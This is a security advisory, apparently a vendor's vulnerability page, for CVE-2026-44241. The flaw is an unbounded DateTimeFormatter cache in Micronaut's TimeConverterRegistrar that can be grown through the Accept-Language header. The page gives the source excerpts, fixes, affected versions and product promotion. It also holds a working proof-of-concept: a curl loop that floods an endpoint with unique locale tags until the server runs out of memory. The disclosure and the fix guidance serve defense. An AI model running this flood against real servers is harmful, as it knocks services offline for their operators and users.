CVE-2026-44241 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in io.micronaut:micronaut-context. A fix is available for io.micronaut:micronaut-context — see the affected versions and patch details below.
Micronaut Framework: Unbounded formattersCache in TimeConverterRegistrar Allows Memory Exhaustion via Accept-Language Header
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44241.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-44241 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
io.micronaut:micronaut-context☕io.micronaut:micronaut-context☕io.micronaut:micronaut-contextReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
TimeConverterRegistrar caches DateTimeFormatter instances in an unbounded ConcurrentHashMap<String, DateTimeFormatter> whose key is derived from the @Format annotation pattern concatenated with the locale from the HTTP Accept-Language header. Because Locale.forLanguageTag() accepts arbitrary BCP 47 private-use extensions (en-x-a001, en-x-a002, …), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This is structurally identical to the recently patched GHSA-2hcp-gjrf-7fhc (DefaultHtmlErrorResponseBodyProvider), but TimeConverterRegistrar.formattersCache was not covered by that fix.
Details
The vulnerable cache is declared in context/src/main/java/io/micronaut/runtime/converters/time/TimeConverterRegistrar.java at line 123:
// TimeConverterRegistrar.java:123
private final Map<String, DateTimeFormatter> formattersCache = new ConcurrentHashMap<>();
The getFormatter method at line 434 inserts into this map with no eviction or size limit:
// TimeConverterRegistrar.java:434-443
private DateTimeFormatter getFormatter(String pattern, ConversionContext context) {
var key = pattern + context.getLocale(); // locale from Accept-Language header
var cachedFormatter = formattersCache.get(key);
if (cachedFormatter != null) {
return cachedFormatter;
}
var formatter = DateTimeFormatter.ofPattern(pattern, context.getLocale());
formattersCache.put(key, formatter); // NO SIZE CHECK — unbounded growth
return formatter;
}
The attacker-controlled locale flows into the cache key through this call chain:
- HTTP header parsed —
HttpHeaders.findAcceptLanguage()athttp/src/main/java/io/micronaut/http/HttpHeaders.java:766-771callsLocale.forLanguageTag(part)directly on the rawAccept-Languagevalue:
// HttpHeaders.java:766-771
default Optional<Locale> findAcceptLanguage() {
return findFirst(HttpHeaders.ACCEPT_LANGUAGE)
.map(text -> {
String part = HttpHeadersUtil.splitAcceptHeader(text);
return part == null ? Locale.getDefault() : Locale.forLanguageTag(part);
});
}
- Locale planted in ConversionContext —
AbstractRouteMatch.newContext()atrouter/src/main/java/io/micronaut/web/router/AbstractRouteMatch.java:373-378passes the request locale into the conversion context for every route argument binding:
// AbstractRouteMatch.java:373-378
private <E> ArgumentConversionContext<E> newContext(Argument<E> argument, HttpRequest<?> request) {
return ConversionContext.of(
argument,
request.getLocale().orElse(null), // ← attacker-controlled via Accept-Language
request.getCharacterEncoding()
);
}
- Unbounded cache insert — When any temporal argument annotated with
@Formatis bound,TimeConverterRegistrar.getFormatter(pattern, context)is called and inserts a newDateTimeFormatterfor each uniquepattern + localekey.
This path is triggered for any route endpoint with a @Format-annotated temporal parameter. This is an officially documented and commonly used Micronaut pattern, demonstrated in the framework's own test suite:
// test-suite/.../BindingController.java:105 (official Micronaut example)
@Get("/dateFormat")
public String dateFormat(@Format("dd/MM/yyyy hh:mm:ss a z") @Header ZonedDateTime date) {
return date.toString();
}
TimeConverterRegistrar is an @Internal core bean registered unconditionally in every Micronaut application — it is not optional or user-configured. By contrast, the DefaultHtmlErrorResponseBodyProvider cache patched in GHSA-2hcp-gjrf-7fhc now uses a ConcurrentLinkedHashMap bounded at 100 entries; TimeConverterRegistrar.formattersCache remains an unbounded plain ConcurrentHashMap.
PoC
Against any Micronaut application exposing an endpoint with a @Format-annotated temporal parameter:
# Flood the formattersCache with unique locale-derived keys
for i in $(seq 1 200000); do
curl -s -o /dev/null \
-H "Accept-Language: en-x-$(printf '%06d' $i)" \
-H "date: 01/01/2024 12:00:00 AM UTC" \
"http://localhost:8080/dateFormat" &
# Throttle to avoid socket exhaustion
[ $((i % 500)) -eq 0 ] && wait
done
wait
# Server will throw OutOfMemoryError after enough unique locale entries accumulate
Each request with a novel en-x-XXXXXX private-use tag inserts a new DateTimeFormatter entry into the unbounded map. Each DateTimeFormatter (with locale metadata) occupies roughly 2–10 KB on the heap. At 100,000 unique entries, the map alone can consume ~500 MB; at 500,000 entries the JVM typically crashes with OutOfMemoryError: Java heap space.
Impact
- An unauthenticated attacker can crash any Micronaut server that exposes at least one endpoint with a
@Format-annotated temporal type parameter — a documented, first-class framework feature. - Memory grows linearly with the number of unique
Accept-Languagevalues sent. The BCP 47 private-use namespace (en-x-ANYTHING) provides millions of distinct valid locale strings. - No credentials, special permissions, or exploitation of application logic are required — only the ability to send HTTP requests with custom headers.
TimeConverterRegistraris active in all Micronaut HTTP server applications by default; no special configuration is needed to be vulnerable.
Recommended Fix
Apply the same fix pattern used for GHSA-2hcp-gjrf-7fhc: replace the unbounded ConcurrentHashMap with a bounded ConcurrentLinkedHashMap:
// In TimeConverterRegistrar.java — replace line 123
import io.micronaut.core.util.clhm.ConcurrentLinkedHashMap;
private static final int MAX_FORMATTERS_CACHE_SIZE = 100;
private final Map<String, DateTimeFormatter> formattersCache =
new ConcurrentLinkedHashMap.Builder<String, DateTimeFormatter>()
.maximumWeightedCapacity(MAX_FORMATTERS_CACHE_SIZE)
.build();
Alternatively, since @Format pattern values come from static annotations (a bounded, compile-time set), the locale should be excluded from the cache key and applied at use-time instead:
// In getFormatter() — cache only by pattern, apply locale at use-time
private DateTimeFormatter getFormatter(String pattern, ConversionContext context) {
DateTimeFormatter base = formattersCache.computeIfAbsent(
pattern, p -> DateTimeFormatter.ofPattern(p)
);
Locale locale = context.getLocale();
return locale != null ? base.withLocale(locale) : base;
}
This second approach bounds the cache by the number of distinct @Format patterns in the application, which is always small and finite, fully eliminating the attack surface.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.micronaut:micronaut-context | ≥ 4.3.0&&< 4.10.22 | 4.10.22io.micronaut:micronaut-context:4.10.22 |
| ☕Maven | io.micronaut:micronaut-context | ≥ 3.10.0&&< 3.10.6 | 3.10.6io.micronaut:micronaut-context:3.10.6 |
| ☕Maven | io.micronaut:micronaut-context | all versions | 3.8.14io.micronaut:micronaut-context:3.8.14 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.micronaut:micronaut-context, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.micronaut:micronaut-context to 4.10.22 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44241 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44241 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44241. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-44241 in your dependencies?
O3 Security finds CVE-2026-44241 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.